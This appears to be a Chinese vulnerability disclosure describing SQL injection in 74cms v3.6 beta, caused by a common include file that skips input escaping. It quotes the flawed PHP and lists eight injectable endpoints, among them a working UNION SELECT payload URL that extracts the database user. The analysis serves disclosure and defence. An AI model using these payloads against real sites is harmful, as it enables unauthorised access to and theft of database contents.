74cms 20150817 设计缺陷导致8处不同文件注入(gpc=off)

### 简要描述： 直接出数据。 ### 详细说明： http://download.74cms.com/download/74cms_v3.6_beta_20150817.zip 下载地址。 74cms的全局文件是include/common.inc.php 其中里面有 ``` if (!empty($_GET)) { $_GET = help::addslashes_deep($_GET); } if (!empty($_POST)) { $_POST = help::addslashes_deep($_POST); } $_COOKIE = help::addslashes_deep($_COOKIE); $_REQUEST = help::addslashes_deep($_REQUEST); ``` 但是当看到plus/ajax_common.php的时候 发现他包含的是 ``` * ---------------------------------------------------------------------------- * 这不是一个自由软件！您只能在不用于商业目的的前提下对程序代码进行修改和 * 使用；不允许对程序代码以任何形式任何目的的再发布。 * ============================================================================ */ define('IN_QISHI', true); require_once(dirname(dirname(__FILE__)).'/include/plus.common.inc.php'); $act = !empty($_GET['act']) ? trim($_GET['act']) : ''; ``` plus.common.inc.php 来看看 ``` if(!defined('IN_QISHI')) exit('Access Denied!'); define('QISHI_ROOT_PATH', dirname(dirname(__FILE__)).'/'); error_reporting(E_ERROR); require_once(QISHI_ROOT_PATH.'data/config.php'); ini_set('session.save_handler', 'files'); session_save_path(QISHI_ROOT_PATH.'data/sessions/'); session_start(); header("Content-Type:text/html;charset=".QISHI_CHARSET); require_once(QISHI_ROOT_PATH.'include/mysql.class.php'); $db = new mysql($dbhost,$dbuser,$dbpass,$dbname); require_once(QISHI_ROOT_PATH.'include/common.fun.php'); PHP_VERSION > '5.1'?date_default_timezone_set("PRC"):''; $timestamp = time(); $online_ip=getip(); $ip_address=convertip($online_ip); $_CFG=get_cache('config'); $_PAGE=get_cache('page'); $_NAV=get_cache('nav'); $_CFG['wap_domain'] = $_CFG['wap_domain']==""?$_CFG['site_domain'].$_CFG['site_dir']."m":$_CFG['wap_domain']; $_CFG['version']=QISHI_VERSION; $_CFG['web_logo']=$_CFG['web_logo']?$_CFG['web_logo']:'logo.gif'; $_CFG['upfiles_dir']=$_CFG['site_dir']."data/".$_CFG['updir_images']."/"; $_CFG['site_template']=$_CFG['site_dir'].'templates/'.$_CFG['template_dir']; execution_crons(); ``` 并没有对GET POST COOKIE 转义。。 导致了在gpc off的情况下 可闭合。 我把所有包含的是这个文件的都看了一下。 在plus/ajax_common.php中 ``` elseif($act=="hotword") { if (empty($_GET['query'])) { exit(); } $gbk_query=trim($_GET['query']); if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $gbk_query=utf8_to_gbk($gbk_query); } $sql="SELECT * FROM ".table('hotword')." WHERE w_word like '%{$gbk_query}%' ORDER BY `w_hot` DESC LIMIT 0 , 10"; $result = $db->query($sql); while($row = $db->fetch_array($result)) { $list[]="'".$row['w_word']."'"; } if ($list) { $liststr=implode(',',$list); $str="{"; $str.="query:'{$gbk_query}',"; $str.="suggestions:[{$liststr}]"; $str.="}"; exit($str); } } ``` 可注入。 最新版的防注入轻松过。 其他地方的注入代码都不分析了,一样的原理。 [<img src="https://images.seebug.org/upload/201508/2602153905bfb9a0b45c5b8782682a13bcd7f514.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/2602153905bfb9a0b45c5b8782682a13bcd7f514.png) 直接出数据。 1: localhost/web/74cms/plus/ajax_common.php?query=' and 0 union select 1,user(),3 and '&act=hotword 2： localhost/web/74cms/plus/ajax_map.php?jobshow=key:::a' 3： localhost/web/74cms/plus/ajax_user.php?act=check_usname POST：usname=a' and xxx 4: localhost/web/74cms/plus/ajax_street.php?act=alphabet&x=a' and o 5: localhost/web/74cms/m/plus/wap_ajax.php?act=ajaxjobslist&key=a' 6: localhost/web/74cms/m/connect_qq_client.php?act=binding_callback&openid=1' and 7: localhost/web/74cms/user/connect_qq_client.php?act=login_go&openid=a' and 8: localhost/web/74cms/user/plus/ajax_user.php?act=check_email POST:email=a' and 都直接报错。 ### 漏洞证明： localhost/web/74cms/plus/ajax_common.php?query=' and 0 union select 1,user(),3 and '&act=hotword [<img src="https://images.seebug.org/upload/201508/2602153905bfb9a0b45c5b8782682a13bcd7f514.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201508/2602153905bfb9a0b45c5b8782682a13bcd7f514.png)